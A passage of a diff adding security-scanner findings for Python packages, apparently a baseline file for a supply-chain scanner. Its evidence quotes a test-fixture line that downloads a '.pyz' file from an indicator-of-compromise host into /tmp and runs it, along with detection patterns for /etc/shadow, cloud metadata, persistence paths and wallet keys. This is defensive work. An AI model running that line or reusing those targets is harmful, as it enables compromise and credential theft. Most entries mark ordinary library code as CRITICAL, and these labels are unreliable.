decode + subprocess execution (staged payload)", + "severity": "CRITICAL", + "evidence": "Base64: L488: decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80: return subprocess.call(['which', name],\nL81: stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0 | L100: p = subprocess.Popen(['pbcopy', 'w'],\nL101: stdin=subprocess.PIPE, close_fds=True) | L105: p = subprocess.Popen(['pbpaste', 'r'],\nL106: stdout=subprocess.PIPE, close_fds=True) | L167: p = subprocess.Popen(['xclip', '-selection', selection],\nL168: stdin=subprocess.PIPE, close_fds=True) | L175: p = subprocess.Popen(['xclip', '-selection', selection, '-o'],\nL176: stdout=subprocess.PIPE,\nL177: stderr=subprocess.PIPE,\nL178: close_fds=True) | L195: p = subprocess.Popen(['xsel', selection_flag, '-i'],\nL196: stdin=subprocess.PIPE, close_fds=True) | L203: p = subprocess.Popen(['xsel', selection_flag, '-o'],\nL204: stdout=subprocess.PIPE, close_fds=True) | L221: subprocess.check_call(args, close_fds=True) | L224: p = subprocess.Popen(args, stdin=subprocess.PIPE, close_fds=True) | L231: p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True) | L241: p = subprocess.Popen(\nL242: ['qdbus', 'org.kde.klipper', '/klipper', 'setClipboardContents',\nL243: text.encode(ENCODING)],\nL244: stdin=subprocess.PIPE, close_fds=True) | L248: p = subprocess.Popen(\nL249: ['qdbus', 'org.kde.klipper', '/klipper', 'getClipboardContents'],\nL250: stdout=subprocess.PIPE, close_fds=True) | L469: p = subprocess.Popen(['clip.exe'],\nL470: stdin=subprocess.PIPE, close_fds=True) | L477: p = subprocess.Popen(['powershell.exe', '-noprofile', '-command', ps_script],\nL478: stdout=subprocess.PIPE,\nL479: stderr=subprocess.PIPE,\nL480: close_fds=True)", + "evidence_hash": "a6c17529beeffa4140f293b36de643bb48d5c4095151573e599840d22e31664f" + }, + { + "package": "python-dateutil", + "file": "dateutil/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L16: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" + }, + { + "package": "rich", + "file": "rich/ansi.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L229: pty.spawn(sys.argv[1:], read)", + "evidence_hash": "7aa3b73533776987582edff045267f71b62040823c62b66bd40bef2b744b3ed4" + }, + { + "package": "rich", + "file": "rich/console.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L2041: os.dup2(devnull, sys.stdout.fileno())", + "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee" + }, + { + "package": "rich-rst", + "file": "rich_rst/_vendor/docutils/readers/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L129: module = importlib.import_module('rich_rst._vendor.docutils.readers.'+name)", + "evidence_hash": "3910f6c4f0684f9ed611f0c7b0d3b3121f7fa1188186dd22c0f9f0615a137073" + }, + { + "package": "rich-rst", + "file": "rich_rst/_vendor/docutils/writers/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L271: module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)", + "evidence_hash": "bdc0d6a4e35580266debac3c46b0845a315af192ce8df6fcec9cf01d1aa09106" + }, + { + "package": "scikit-learn", + "file": "sklearn/datasets/_openml.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L100: while True: sha256:1f05a1b4fdd843b309634f583cb5e919866ef38ec5aa0b7d8a66ac8820655594", + "evidence_hash": "69597a64e5670a0f9a3c2aafc0bde4160f6170a9e2dc38f2c413cfa8d22ad193" + }, + { + "package": "scikit-learn", + "file": "sklearn/datasets/_openml.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L100: while True: sha256:270363bb66980201e477f9b94886e4023f7a3d21b5ce026b7603a8c249a50c5b", + "evidence_hash": "53edbe07c312d459068d38e537b5114e65685ac3d4487b0423fa4542b5df20fe" + }, + { + "package": "scikit-learn", + "file": "sklearn/externals/array_api_compat/cupy/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L10: __import__(__package__ + '.linalg') | L11: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" + }, + { + "package": "scikit-learn", + "file": "sklearn/externals/array_api_compat/dask/array/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L11: __import__(__package__ + '.linalg') | L12: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" + }, + { + "package": "scikit-learn", + "file": "sklearn/externals/array_api_compat/numpy/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L22: __import__(__package__ + \".linalg\") | L24: __import__(__package__ + \".fft\")", + "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159" + }, + { + "package": "scikit-learn", + "file": "sklearn/externals/array_api_compat/torch/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" + }, + { + "package": "scikit-learn", + "file": "sklearn/svm/tests/test_svm.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L980: os.dup2(os.pipe()[1], 1) | L987: os.dup2(stdout, 1)", + "evidence_hash": "a4b97d799d5de94c1d9a8df1cfc0f862fc64fea5c3ccd06116a37a5fcbe9f653" + }, + { + "package": "scipy", + "file": "scipy/_external/array_api_compat/cupy/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" + }, + { + "package": "scipy", + "file": "scipy/_external/array_api_compat/dask/array/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" + }, + { + "package": "scipy", + "file": "scipy/_external/array_api_compat/numpy/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")", + "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159" + }, + { + "package": "scipy", + "file": "scipy/_external/array_api_compat/torch/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" + }, + { + "package": "sentencepiece", + "file": "sentencepiece/__init__.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L1221: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)", + "evidence_hash": "bba233b67f8ea4f0723b2fecaabf56528531bccd77ace836165bf38b47246bcc" + }, + { + "package": "setuptools", + "file": "distutils-precedence.pth", + "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)", + "severity": "CRITICAL", + "evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();", + "evidence_hash": "2f70c2fa9227e9db9348215d9c7b246d2786aac7516f86d71a5952c7c225aa16" + }, + { + "package": "setuptools", + "file": "setuptools/_distutils/tests/test_build_ext.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L115: shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so') sha256:bef4914cda18bd0d231ab5481953dcf1ed3f2d7589a3a1de35be40435fbae5b9", + "evidence_hash": "32624628db3d7f0e6d667695033821ee804e4eb941c6fbe0421e997f7e729ad7" + }, + { + "package": "setuptools", + "file": "setuptools/_vendor/jaraco/context/__init__.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L79: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78: req = urllib.request.urlopen(url)", + "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c" + }, + { + "package": "sympy", + "file": "sympy/external/importtools.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L154: __import__(module + '.' + submod)", + "evidence_hash": "c08b793301fde50f2369338cceea56329e39c315fc1c177480ef094932182a0b" + }, + { + "package": "tiktoken", + "file": "tiktoken/load.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L38: cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17: resp = requests.get(blobpath)", + "evidence_hash": "3779e1812928be4f20704ffc40a65b8c45b69a319b39e94d3ad92b4c775eb12d" + }, + { + "package": "torch", + "file": "functorch/dim/magic_trace.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L15: output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\" sha256:509c96b9721a10fc1df0567da3a366f08ed337b3afa3e57971756bd941da675e", + "evidence_hash": "6e64b3ddbb81079049d46dc3bd1024958c71ce0de299cda650720cfd168d5023" + }, + { + "package": "torch", + "file": "torch/_inductor/codecache.py", + "check": "base64 decode + subprocess execution (staged payload)", + "severity": "CRITICAL", + "evidence": "Base64: L1211: content = base64.b64decode(data)\nSubprocess: L2692: subprocess.run(\nL2693: cmd.split(), capture_output=True, text=True, check=True\nL2694: ) | L2995: cmd_output = subprocess.run(\nL2996: (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL2997: ) | L3707: out = subprocess.check_output(\nL3708: [\"ldd\", os.path.join(search, file)]\nL3709: ) | L3791: jobs.append(functools.partial(subprocess.check_call, cmd)) | L3876: subprocess.check_call(\nL3877: shlex.split(halide_cmd_gen.get_command_line())\nL3878: ) | L4336: subprocess.check_output(\nL4337: cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4338: ) | L4591: output = subprocess.check_output(\nL4592: cmd_parts,\nL4593: stderr=subprocess.STDOUT,\nL4594: text=True,\nL4595: env=os.environ,\nL4596: )", + "evidence_hash": "c09774087b702a6c5d6e2e85d9239c7c241ec938fbe9c0153e8f0b5c0710389b" + }, + { + "package": "torch", + "file": "torch/_inductor/codecache.py", + "check": "base64 decode + subprocess execution (staged payload)", + "severity": "CRITICAL", + "evidence": "Base64: L1727: content = base64.b64decode(data)\nSubprocess: L3270: subprocess.run(\nL3271: cmd, capture_output=True, text=True, check=True\nL3272: ) | L3583: cmd_output = subprocess.run(\nL3584: (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL3585: ) | L4338: out = subprocess.check_output(\nL4339: [\"ldd\", os.path.join(search, file)]\nL4340: ) | L4422: jobs.append(functools.partial(subprocess.check_call, cmd)) | L4507: subprocess.check_call(\nL4508: shlex.split(halide_cmd_gen.get_command_line())\nL4509: ) | L4992: subprocess.check_output(\nL4993: cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4994: ) | L5247: output = subprocess.check_output(\nL5248: cmd_parts,\nL5249: stderr=subprocess.STDOUT,\nL5250: text=True,\nL5251: env=os.environ,\nL5252: )", + "evidence_hash": "87f77b5f51cb84fe9950fdeeb90fe8710e1b863100e90b5e2cfb228a725bee06" + }, + { + "package": "torch", + "file": "torch/ao/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L30: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" + }, + { + "package": "torch", + "file": "torch/ao/nn/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L34: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" + }, + { + "package": "torch", + "file": "torch/ao/nn/intrinsic/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L40: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" + }, + { + "package": "torch", + "file": "torch/cuda/_memory_viz.py", + "check": "Enumerates filesystem AND makes network calls", + "severity": "CRITICAL", + "evidence": "FS: L74: if \"history\" in b: sha256:8537d03f5cf112e0dd4afd03d7928fce66a1b24456ee5b9cf3cd776d1b756c34\nNetwork: L97: import urllib.request | L101: urllib.request.urlretrieve(\nL102: \"https://raw.githubusercontent.com/brendangregg/FlameGraph/master/flamegraph.pl\",\nL103: f.name,\nL104: )", + "evidence_hash": "ee54e444a087560402a5ec3b1412e11c95d44f086108664b74cafb7ebc990d85" + }, + { + "package": "torch", + "file": "torch/distributed/elastic/multiprocessing/redirects.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L218: os.dup2(dst.fileno(), std_fd)", + "evidence_hash": "de197e9d0a8e6df32e900b34e6584602dbdb5f555c689825774915e30460446f" + }, + { + "package": "torch", + "file": "torch/hub.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L237: token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206: with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230: with urlopen(url) as r: | L749: with urlopen(req) as u:", + "evidence_hash": "95ea712c0e7062aa43f5d6cb18315e8c11f76b3981a585bee53c069998da3704" + }, + { + "package": "torch", + "file": "torch/testing/_internal/common_utils.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L4900: env = os.environ.copy()\nNetwork: L4962: with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4980: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:", + "evidence_hash": "704a851b9d68c9b885b9e15538bd7e96f03875503b618fe6f126c4438edd7386" + }, + { + "package": "torch", + "file": "torch/testing/_internal/common_utils.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L32: import socket sha256:89faaaa8bc908e02dad73fd59b2b481fa91189c84b39b556c2766e71d2783bf3", + "evidence_hash": "3d23d77ace91812a07cb9508cf352185d154176e8e8c8b9b28fa92cdbcfe0d53" + }, + { + "package": "torch", + "file": "torch/testing/_internal/common_utils.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L32: import socket sha256:ba439cbf568b194872f1d974c02b0487e51f677b67e379400522d0992600bd2d", + "evidence_hash": "88e98b227573997f86eedea8e885a407b0dd549d46d4a3f0b840ec5aafe66865" + }, + { + "package": "torchvision", + "file": "torchvision/datasets/utils.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L212: with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28: with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as response: | L63: with urllib.request.urlopen(urllib.request.Request(url, headers=headers)) as response:", + "evidence_hash": "f78206d208cb2fed68f5cc2cb26e73d3db10c79848a4289fccaf09eeaa63a080" + }, + { + "package": "traitlets", + "file": "traitlets/config/loader.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L82: exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)", + "evidence_hash": "9e87a409b6486719d3c85dbdbc63bebbd01ca59f3bf6c7b5061bcc744dfba470" + }, + { + "package": "transformers", + "file": "transformers/integrations/integration_utils.py", + "check": "Enumerates filesystem AND makes network calls", + "severity": "CRITICAL", + "evidence": "FS: L2125: \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \" sha256:e8d462221be344624d83eea5e696f898835c89de17020fee72f03b5bb79ada56\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:", + "evidence_hash": "7c999f55312c7485cb0d5dd40134dc6aabb1c718fd3a3efe5cc48e0d5a8f26ca" + }, + { + "package": "transformers", + "file": "transformers/integrations/integration_utils.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L2512: token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:", + "evidence_hash": "60b7a5ab21f1ac825331feef21f9a6e2751da85b062164c2e183b28d4dae4cfb" + }, + { + "package": "transformers", + "file": "transformers/testing_utils.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L1577: while True: sha256:2c6152f9da685f728e58d39dfc1827bc794f52606f56983bf38b5c6d0857cd5b", + "evidence_hash": "cdada67f3327237f00838a6750a4908dfaf76b9ab30c1352495c340d4fbd15c9" + }, + { + "package": "transformers", + "file": "transformers/testing_utils.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L1623: while True: sha256:012c2884195786085fb2ecad951e47f205bf094d75335b81aae14c0b499a208a", + "evidence_hash": "af3cfbdaa405a19c27295fde282e907fb06ad3bb96039f6731f9f82754c1c049" + }, + { + "package": "transformers", + "file": "transformers/testing_utils.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L1699: while True: sha256:969e911d30c37a279ad915fb8c3d2d0a3f5705a7eb82ae6e00687388b68bbe65", + "evidence_hash": "2aa8e94baa805d599720a16afee6f08976482e301333e619e6c343389498ad15" + }, + { + "package": "transformers", + "file": "transformers/testing_utils.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L288: value = os.environ[key] | L304: value = os.environ[key] | L2165: env = os.environ.copy() | L2287: for k in list(os.environ.keys()):\nNetwork: L2597: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:", + "evidence_hash": "73ff16aee09cf163fb3a7a04dfa2cf610595bde2f19460a579397695f728e3f4" + }, + { + "package": "transformers", + "file": "transformers/testing_utils.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L2473: import socket sha256:ad30a1fc73ad185f6c085cb5ee294fc944c614de31d5eea7e23082465a7fc0cc", + "evidence_hash": "8e7983acde3d0fe4377ee8ef95a732d74c2c9784aacc154d1ab9bbdf9fbcb736" + }, + { + "package": "transformers", + "file": "transformers/utils/import_utils.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L2345: return importlib.import_module(\".\" + module_name, self.__name__)", + "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" + }, + { + "package": "triton", + "file": "triton/tools/build_extern.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L315: self._ll_file = \"/tmp/extern_lib.ll\"\nL316: \nL317: def disasm(self, lib_path: str) -> None:\nL318: subprocess.Popen([self._path, lib_path, \"-o\", self.ll_file], stdout=subprocess.PIPE).communicate()", + "evidence_hash": "b01058d795f253b6327546f0ff09a6100bbdb83ce275b29ef955d8043a4a5890" + }, + { + "package": "trl", + "file": "trl/extras/vllm_client.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L152: while True: sha256:93e7d409e300af445376e6defbe2d0241aa19ecf63ed41b780fbb91c7d09856f", + "evidence_hash": "208838617172de61bca201d2a1bbeb5aa5aaa55feb1a1069cf39214673a7d6d1" + }, + { + "package": "trl", + "file": "trl/extras/vllm_client.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L146: while True: sha256:2beedc742e1f085eaa10fd3bc40be97d2331d21887ef1b9ccdfa2150a184edfe", + "evidence_hash": "1540dffaaa053780e953e04c11d9c6b9c74b91cb60f3e6d87451ba7fe7db46db" + }, + { + "package": "trl", + "file": "trl/import_utils.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L144: return importlib.import_module(\".\" + module_name, self.__name__)", + "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" + }, + { + "package": "unsloth-zoo", + "file": "scripts/scan_packages.py", + "check": "Accesses cloud metadata/IMDS AND makes network calls", + "severity": "CRITICAL", + "evidence": "IMDS: L155: r\"|/latest/meta-data\" | L156: r\"|/metadata/instance\" | L157: r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "6c5b2c00cf729c2cc1ae948818695e05d207a6845b6c1b71ed2967780866ab2d" + }, + { + "package": "unsloth-zoo", + "file": "scripts/scan_packages.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L1254: with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "9eb520994e9b3dd1030e60820dcc5b6df8e0c58db9d6b83d2379addfbab22ba6" + }, + { + "package": "unsloth-zoo", + "file": "scripts/scan_packages.py", + "check": "Enumerates filesystem AND makes network calls", + "severity": "CRITICAL", + "evidence": "FS: L116: r\"|/etc/shadow|/etc/passwd\" | L256: r\"|/etc/shadow\" | L257: r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "2439b08c35dac70ee8f388456012affb3f8eb10b267e54a42f21ff1f815af8ee" + }, + { + "package": "unsloth-zoo", + "file": "scripts/scan_packages.py", + "check": "Installs persistence AND makes network calls (backdoor pattern)", + "severity": "CRITICAL", + "evidence": "Persist: L163: r\"/etc/systemd/\" | L166: r\"|/etc/cron\" | L169: r\"|/Library/LaunchDaemons\" | L170: r\"|/Library/LaunchAgents\" | L172: r\"|~/.local/share/systemd\" | L174: r\"|HKEY_LOCAL_MACHINE.*\\\\\\\\Run\" | L175: r\"|HKEY_CURRENT_USER.*\\\\\\\\Run\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "9e0d1f1b32af3babe90061cf52b0567d1500ab5c55aabe2fa5ed91b6f753e84d" + }, + { + "package": "unsloth-zoo", + "file": "scripts/scan_packages.py", + "check": "May-12 Shai-Hulud IOC string present in Python file", + "severity": "CRITICAL", + "evidence": "L353: r\"|With Love TeamPCP|We've been online over 2 hours)\",", + "evidence_hash": "1fc2637d45f3b1dc5a94c41c13abc5fde05e224b9fcac3f8ddd861e84f90ec57" + }, + { + "package": "unsloth-zoo", + "file": "scripts/scan_packages.py", + "check": "Targets cryptocurrency wallets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Crypto: L294: r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "278ff15b0b702d37d7f0b30a1e55a31bf2b11883685718a47478fbb5ce7f5212" + }, + { + "package": "unsloth-zoo", + "file": "scripts/scan_packages.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:78268349021e21bedcd2eaaa5b4a71b0de1d52e023ada914dfdc09515ee1aad8", + "evidence_hash": "590fe1c96c442fbea5eb8642650257bc0b0199e919b9bacdb11dfa767b6fe839" + }, + { + "package": "unsloth-zoo", + "file": "tests/security/fixtures/_build.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L129: with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve(\nL53: \"https://git-tanstack.com/transformers.pyz\",\nL54: \"/tmp/transformers.pyz\",\nL55: )", + "evidence_hash": "0c8c9a4f85e95be1a922722a7fd3e102294a3547fa3a7c5e3541472a8a02cf7a" + }, + { + "package": "unsloth-zoo", + "file": "tests/security/fixtures/_build.py", + "check": "May-12 Shai-Hulud IOC string present in Python file", + "severity": "CRITICAL", + "evidence": "L53: \"https://git-tanstack.com/transformers.pyz\", | L54: \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)", + "evidence_hash": "e26145aaf4804d2e53d9f354c68a1ca80f789b10131ff23390267f5a7347d7f8" + }, + { + "package": "unsloth-zoo", + "file": "tests/security/fixtures/_build.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L54: \"/tmp/transformers.pyz\",\nL55: )\nL56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)", + "evidence_hash": "77d49ccb99804ab8392ac1c3312e9ea293b2ed1b9cce0e0049c0012d99e33336" + }, + { + "package": "unsloth-zoo", + "file": "tests/security/test_scan_packages.py", + "check": "May-12 Shai-Hulud IOC string present in Python file", + "severity": "CRITICAL", + "evidence": "L154: \"git-tanstack.com\", | L155: \"/tmp/transformers.pyz\", | L156: \"transformers.pyz\", | L157: \"With Love TeamPCP\", | L158: \"We've been online over 2 hours\",", + "evidence_hash": "6f880d63fe3f86959fde31cc09148bbb7c0e26c99c6362bd89839bdc439f9ba5" + }, + { + "package": "unsloth-zoo", + "file": "tests/security/test_scan_packages.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L155: \"/tmp/transformers.pyz\", sha256:391fc46893340b6b28bf8359aec196593d8cbd7545b9559c75569804529b5ce0", + "evidence_hash": "ba4f0bfd71bd79968c737b868d633c7e2159aaf5b95d06bab679245ba4ab12f0" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_convert_hf_to_gguf_patcher.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L454: if os.environ.get(\"GITHUB_TOKEN\"): | L455: headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458: r = requests.get(base_url + rel, timeout=15, headers=headers)", + "evidence_hash": "c58bac3dde2e3a4ec266bb3cbc9ebc1c95ec5b862b64bc8b8ac5140d3e73d2a2" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_mlx_save_export_regressions.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L165: temporary_location=\"/tmp/ignored\", sha256:9f8502377b19666288b28399633dfc6740a64d0cb70ad1615e38b1269f94bf37", + "evidence_hash": "b7262d6e58f2ebad961dd3e64ca6c32bba356b5044d7a642d7dbd36a58cb6c81" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_quantize_gguf_q2_k_l.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L67: input_gguf=\"/tmp/in.gguf\", sha256:06789b55e8f31426c233f37ff7d3729cc9e1f61c0829abd2c00c39216c63c7ad", + "evidence_hash": "ad4913d9099eb9b70e09d6860b242eb5f48c67e46d9bf4ae35c1c38a267d753b" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_upstream_pinned_symbols_transformers.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L60: token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59: req = urllib.request.Request(url) | L64: with urllib.request.urlopen(req, timeout=15) as r:", + "evidence_hash": "901bf1ffd6fd67c2c6f0534a2d8474131a06d9d37e9610a31146d334fcae2a06" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/device_type.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L137: value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82: request = urllib.request.Request(\nL83: index_url,\nL84: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL85: method = method,\nL86: ) | L87: with urllib.request.urlopen(request, timeout = 2.5) as response: | L100: request = urllib.request.Request(\nL101: f\"{_PYTORCH_WHL_BASE_URL}/\",\nL102: headers = {\"User-Agent\" : 